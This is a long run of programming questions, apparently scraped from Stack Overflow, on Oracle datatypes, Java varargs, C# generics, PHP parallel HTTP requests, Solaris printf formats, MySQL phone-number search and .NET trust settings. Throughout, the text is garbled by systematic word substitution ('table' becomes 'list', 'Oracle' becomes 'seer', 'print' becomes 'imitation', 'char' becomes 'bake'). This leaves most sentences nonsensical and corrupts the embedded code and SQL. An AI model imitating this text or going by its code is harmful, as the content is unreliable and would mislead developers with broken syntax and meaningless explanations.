oracle: ora-00932 converting column_expression user_ind_expressions controlling to_lob

try controlling twin rudimentary statements seer 10.2: create list mytest (table_name varchar2(30), index_name varchar2(30), column_expression clob, column_position number); insert mytest (table_name, index_name, column_expression, column_position) select table_name, index_name, to_lob(column_expression), column_position from user_ind_expressions expra where exists (select 1 user_constraints where constraint_name = expra.index_name table_name = expra.table_name); this law error: error during line 1: ora-00932: unsuitable datatypes: approaching - got long if i replace where exists this: insert mytest (table_name,index_name,column_expression, column_position) select table_name,index_name, to_lob(column_expression), column_position from user_ind_expressions expra; it works: 23 rows created. what going on?

object arrays slight signatures

consider following slight signatures: public foomethod (foo[] foos) { /*...*/ } and public foomethod (foo... foos) { /*...*/ } explanation: former takes an array foo-objects an justification - foomethod(new foo[]{..}) - while latter takes an erratic volume arguments form foo, presents an array foo:s within slight - foomethod(fooobject1, fooobject2, etc... ). java throws fit both defined, claiming register methods. i investigator work, found out initial chapter unequivocally requires an eloquent array foo objects, that's wholly proceed method. second proceed indeed accepts both an erratic volume foo arguments also accepts an array foo objects. so, doubt is, given latter slight seems some-more flexible, there any reasons initial example, have i missed anything vital?

using microsoft.sdc.tasks.serviceprocess.controlservice i check use exists remote machine?

i'm perplexing check use exists remote accessory controlling microsoft.sdc.tasks.serviceprocess.controlservice task. <controlservice machinename="$(targetmachinename)" action="exists" servicename="w3svc"> <output propertyname="w3serviceexists" taskparameter="serviceexists" /> </controlservice> when i above assign chapter i cost msbuild. (42,54): blunder msb4065: "serviceexists" parameter noted cost "controlservice" task. is there proceed controlservice category presumably use exists remote machine?

c# general category "specialized" constructor

i have category following: public category dropdowncontrol<t, key, value> : basecontrol where key: icomparable { private ienumerable<t> menumerator; private func<t, key> mgetkey; private func<t, value> mgetvalue; private func<key, bool> miskeyincollection; open dropdowncontrol(string name, ienumerable<t> enumerator, func<t, key> getkey, func<t, value> getvalue, func<key, bool> iskeyincollection) : base(name) { menumerator = enumerator; mgetkey = getkey; mgetvalue = getvalue; miskeyincollection = iskeyincollection; } and i wish supplement preference duty dictionaries (because support operations good own). but problem such constructor wholly mention pivotal value nonetheless t directly, nonetheless t only keyvaluepair. there proceed tell compiler constructor t keyvaluepair, like: public dropdowncontrol<keyvaluepair<key, value>>(string name, idictionary...

what good java utilities?

i'm looking concentration building infinite java programs. i'm wakeful termite already, nonetheless wish else available. ideally, should means hoop .java->.class package office weirdness fouls adult gnu make. win32, nonetheless querulous height plus. edit: i cons controlling ant, since i wanted options, nonetheless i'll substantially finish adult controlling anyway, only since works. requires nontrivial xml makefiles, "helloworld" already 25 lines, any some-more reasonable way gets infinite quickly. the termite tutorials arrangement comparisons termite build.xml files roughly relating large .bat files only run java commands, wholly longer. , i've already got those. xml means each unparalleled dependency, variable, target, order digest additional cruft it, only creates lines tough read. solves wrong problems me. ant creates minute jar javac management lines easier, generating manifests easier, naming .java source files easier, naming jvm/java properties easi...

designing gui

how you, developer small (or no) artistic inclination, settlement gui an application? particular, i'm pondering desktop apps nonetheless anything relates web apps acquire well. i severely tough settlement something both i appetite users pleasing. i feeling adult tone schemes net, nonetheless i know where place buttons/textboxes/etc.? update: clarify, i don't meant controls such use. rather, there any guidelines/hints i should buttons, combos, textboxes on? enlarged should where i place form?

parallel http requests php controlling pecl http classes [answer: httprequestpool class]

the category provides solution. interjection those separate out. a brief educational found at: problem i'd concurrent/parallel/simultaneous http requests php. i'd prevaricate unwavering requests as: a set requests take too enlarged complete; some-more requests longer the timeout ask midst by set competence means after requests finished (if book an execution limit) i have managed sum origination , however i'd definitely php's during possible. specifically, i need post information parallel set urls. urls information posted over control; user-set. i don't mind i need wait requests finish before responses processed. i set timeout 30 seconds any ask requests finished concurrently, i know i contingency wait border 30 seconds (perhaps small more) requests complete. i sum competence achieved. however, i recently notice plead php authority php5+ being means hoop indicate http requests - i commanded note during time, forgot, can't again. single ask instance (works fine)...

when an ide?

i know swear opposing controlling language-specific ide ever (vim/emacs die! form stuff) unequivocally nervous coding/compiling repository during all, doubt following parts. when switch other is even required know both? not, should know? lightweight heavyweight ides? (just formula highlighting each underline imagine) what ide advise general, why? feel giveaway answer all, some, none. short outline far: ides big projects guis easy chronicle control integration? text editors quick/small projects adapts languages some-more easily less overhead

what best proceed me exercise record locking?

i have doubt locking. doesn't have wholly record locking, nonetheless anyway. let's contend i'm minute web permitted cms. i am struggling ideas. i could, impulse user opens an essay editing, fall essay being 'in use'. distant good. but i mislay flag? user saves article? nonetheless user doesn't feel typing anymore decides tie browser bed? a time-out apparatus comes mind, nonetheless enlarged does take an article? 10 mins too short, 30 mins too long.. maybe i am over-complicating this. i'd hear your thoughts subject.

end() function

the end() duty jquery reverts component set behind before final mortal change, i it's ostensible used, nonetheless i've seen formula examples, eg: (which substantially comparison versions jquery - essay 2006) finished each matter off .end() . eg: $( 'form.cmxform' ).hide().end(); does have any effect? is something i should also doing? what does above formula even return?

printf + uint_64 solaris 9?

i have c(++) formula uses sprintf modify uint_64 string. needs unstable both linux solaris. on linux %ju, nonetheless there does seem any homogeneous solaris. closest i %lu, nonetheless produces crude output. illustration code: #include <stdio.h> #include <sys/types.h> #ifdef sunos typedef uint64_t u_int64_t; #endif int main(int argc, bake **argv) { u_int64_t val = 123456789123l; #ifdef sunos printf("%lu\n", val); #else printf("%ju\n", val); #endif } on linux, cost expected; solaris 9 (don't ask), it's "28" what i use?

reading integers following line calm c++

i'm reading quarrel c++ program. initial integers, following string. i try reading twine getline(cin,stringname); , doesn't review line user types: instead, i an lifeless line, user pulpy enter after typing integers. cin>>track.day; //int cin>>track.seriesday; //int getline(cin,track.comment); //string how i pristine cin ( cin.clear() doesn't work) twine won't fill itself "enter" key? it's normal quarrel receiving, zero special during tip code, i problem nonetheless i forgot solution i need pristine cin somehow twine won't filled "enter" key.

best source control fortitude oracle/asp.net environment?

i am perplexing digest proceed 5 developers visible studio 2005/2008 collaboratively arise an asp.net web app growth web server opposing an seer 8i(soon 10g) database. the developers presumably internal network opening over vpn (not unequivocally quick connection), i evaluated latest visible sourcesafe, nonetheless ran following gotchas: 1) can't decentralized growth since can't replicate growth seer database developers computers. also, vpn too delayed let internal app instances bond database server. 2) given vss source formula record system, wholly proceed debug build app run debugger, wholly developer during centralized growth server. unacceptable. attempted controlling shade folders each record checked gets published app instance growth server, nonetheless unsuccessful remote developers vpn. 3) given developers lot web code, vicious capability reasons save file, should means immediately change operative growth server. 4) easy proceed exercise tranquil slight pulling files pr...

iis6: 503 errors cpu spikes

so, there horribly combined site i catchy assistance out creatively combined model asp. it following "ported" asp.net relocating tellurian variables formula behind withdrawal rest formula aspx...its vast mess. on pages, an occasional enemy condition seems triggered causes iis6 die (returns 503 errors) spikes cpu 100%. we set adult monitoring collection recycle apppool happens keep site stable, nonetheless only bandaid. does anyone know any collection me separate right instruction awaiting since happens? memory use stays flat, the leaking anxiety issue.

formatting domain controlling totext clear reports law field

i'm perplexing emanate clear reports law domain (to calculate commission change price) relapse "n/a" sole news domain null, nonetheless relapse array twin decimal places controlling accounting format (negative numbers surrounded parentheses) not. the closest i have means control this: if isnull({valuationreport.yestprice}) then 'n/a' else totext({@price}/{valuationreport.yestprice}*100-100, '###.00', 2) however represents catastrophic numbers controlling catastrophic sign, parentheses. i attempted format strings '###.00;(###.00)' '(###.00)' nonetheless forlorn invalid. i grasp goal?

searching phone numbers mysql

i have list full arbitrarily formatted phone numbers, this 027 123 5644 021 393-5593 (07) 123 456 042123456 i need hunt phone array further erratic format ( e.g. 07123456 should opening (07) 123 456 the proceed i'd normal programming libel frame non-digit characters out 'needle', following by any array haystack, frame non-digit characters out it, following review opposing needle, eg (in ruby) digits_only = lambda{ |n| n.gsub /[^\d]/, '' } needle = digits_only[input_phone_number] haystack.map(&digits_only).include?(needle) the locate is, i need mysql. horde twine functions, zero unequivocally seem i want. currently i cruise 2 'solutions' hack together franken-query concat substr insert % between each impression needle ( it's this: %0%7%1%2%3%4%5%6% ) however, conjunction seem quite glorious solutions. hopefully someone assistance i competence forced %%%%%% solution update: handling over comparatively bound set data, maybe few hundred rows. i only ...

does git have anything `svn propset svn:keywords` pre-/post-commit hooks?

browsing by git documentation, i can't anything homogeneous svn's dedicate hooks "propset" comforts can, say, transform chronicle array copyright notice within record whenever committed repository. are git users approaching outmost scripts arrange functionality (which doesn't seem out question) have i only missed something obvious? edit : only clear, i'm some-more prying in, e.g., svn propset svn:keywords "author date id revision" expl3.dtx where twine this: $id: expl3.dtx 780 2008-08-30 12:32:34z morten $ is kept present applicable info whenever dedicate occurs.

ruby idioms controlling command-line options

i'm perplexing collect adult flush porting medium-sized (non-oo) perl program. personal idioms set options this: use getopt::std; our $opt_v; # verbose getopts('v'); # after ... $opt_v && imitation "something interesting\n"; in perl, i kind courage teeth let $opt_v (effectively) global. in ruby,the more-or-less accurate homogeneous require 'optparse' opts.on("-v", "--[no-]verbose", trueclass, "run verbosely") { |$opt_verbose| } opts.parse! end where $opt_verbose tellurian classes access. carrying classes know tellurian flags seems ... er ... wrong. what's oo-idiomatic proceed doing this? let sure slight take caring option-related things have classes only relapse things it decides understanding with? have classes exercise discretionary intrepidity (e.g., know verbose) set mode around an attr_writer arrange thing? updated: interjection answers suggesting optparse, nonetheless i should have clear...

how i simply get methods an existent instance?

below i have unequivocally rudimentary instance i'm perplexing do. i wish means htmldecorator any class. replace fact it's called decorator, it's only name. import cgi class classx(object): pass # ... possess __repr__ class classy(object): pass # ... possess __repr__ inst_x=classx() inst_y=classy() inst_z=[ i*i i range(25) ] inst_b=true class htmldecorator(object): def html(self): # an "enhanced" chronicle __repr__ relapse cgi.escape(self.__repr__()).join(("<h1>","</h1>")) print htmldecorator(inst_x).html() print htmldecorator(inst_y).html() wrapped_z = htmldecorator(inst_z) inst_z[0] += 70 wrapped_z[0] += 71 print wrapped_z.html() print htmldecorator(inst_b).html() output: traceback (most new last): record "html.py", line 21, imitation htmldecorator(inst_x).html() typeerror: default __new__ takes parameters is i'm perplexing possible? so, am i doing wrong?

is smallest travelling tree algorithm correct?

the smallest travelling tree problem take connected weighted graph subset the edges lowest sum weight while retaining graph connected (and effect indirect an acyclic graph). the algorithm i am deliberation is: find cycles. remove largest dilemma any cycle. the way chronicle an sourroundings limited "rule satisfaction" but any iterative constructs. competence also convenient insanely together hardware (i.e. component where design have several times some-more degrees association following cycles). edits: the above finished stateless feeling (all edges largest dilemma any cycle selected/kept/ignored, others removed).

reading denote objects mapped quickness templates

i have struts + quickness structure example, chairman class, whose ability car vigilant (with the possess getter/setter methods) mapped quickness form submits an action, controlling modeldriven getmodel structure. i put symbol form shows "view car" car ability zero car.id != 0 arrangement another symbol "choose car" car zero car.id = 0. how i formula this. i attempted something template file: #if($car != null) #ssubmit("name=view" "value=view car") #else #ssubmit("name=new" "value=choose car") #end but i keep removing blunder zero value #if line. i also combined boolean slight hascar() chairman try, nonetheless i can't opening i don't know why. and quickness + struts tutorials challenging have good information. thanks

running "partially trusted" .net assemblies network share

when i try run .net public ( boo.exe ) network share (mapped drive), fails given it's wholly partially trusted: unhandled exception: system.security.securityexception: public does grant partially clinging callers. during system.security.codeaccesssecurityengine.throwsecurityexception(assembly asm, permissionset granted, permissionset refused, runtimemethodhandle rmh, securityaction action, vigilant demand, ipermission permthatfailed) during boocommandline..ctor() during program..ctor() during programmodule.main(string[] argv) the movement unsuccessful was: linkdemand the public appdomain unsuccessful was: boo, version=0.0.0.0, culture=neutral, publickeytoken=32c39770e9a21a67 the section public unsuccessful was: intranet the url public unsuccessful was: file:///h:/boo-svn/bin/boo.exe with instructions a blog post , i total slight .net settlement entirely guileless assemblies file:///h:/* url. i accurate entering url file:///h:/boo-svn/bin/boo.exe evaluate assembly app...

is illusory share transaction between .net concentration com+ object?

i tests while ago never figured out work. the ingredients: com+ transactional vigilant (developed vb6) .net web concentration (with transaction) iis that... makes com+ component updates quarrel sql database testing: run .net concentration force an exception. result: the transform finished .net concentration rolls back. the transform finished com+ vigilant does play back. if i com+ vigilant an aged asp page rollback works. i know competence pondering "what?! com+ .net contingency out your mind!", nonetheless there places universe where there still lot com+ components. i only extraordinary someone ever faced figured out work.

how modify binary information strings behind java?

i have binary information record i review byte array slight problem. i need send tools information over network tie elements an xml document. problem i modify information an array bytes twine behind an array bytes, information removing corrupted. i've tested accessory assail problem twine conversion, i know isn't removing depraved xml parser network transport. what i've got right is byte[] aegis = ...; // review file // few lines infer i slight information successfully string component = new string(buffer); byte[] newbuffer = element.getbytes(); // few lines try slight newbuffer destroy since same information anymore does anyone know modify binary twine behind but information loss? answered: interjection sam. i feel an idiot. i answered yesterday since sax parser complaining. reason i ran clearly removed issue, didn't start me new pointer same problem. edit: only effect completeness, i used base64 category apache commons codec package solve problem.